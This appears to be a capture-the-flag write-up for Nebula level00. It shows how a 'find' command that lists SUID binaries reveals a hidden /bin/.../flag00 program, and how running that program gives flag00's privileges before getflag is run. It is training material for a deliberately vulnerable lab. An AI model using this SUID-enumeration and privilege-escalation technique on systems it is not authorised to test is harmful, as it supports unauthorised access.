Description

This level requires you to find a Set User ID program that will run as the flag00 account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

Alternatively, look at the find man page.

To access this level, log in as level00 with the password of level00.

Approach

The goal of this challenge is to locate a hidden SUID (Set Owner User ID) binary that allows us to execute code with the privileges of the user flag00.

  1. We start by SSH-ing into the machine as level00.
  2. We can use the find command to search the entire filesystem for files that have the SUID bit set. We redirect standard error to /dev/null to hide permission denied errors. 
    level00@nebula:~$ find / -type f -perm -4000 2>/dev/null
  3. Looking through the output, we notice an unusual binary: /bin/.../flag00 (also visible at /rofs/bin/.../flag00).
  4. We execute this binary, which grants us the privileges of flag00.
  5. Finally, we run the getflag command to complete the level.

Output

level00@nebula:~$ find / -type f -perm -4000 2>/dev/null
/bin/.../flag00
/bin/fusermount
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
...
/rofs/bin/.../flag00
...
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account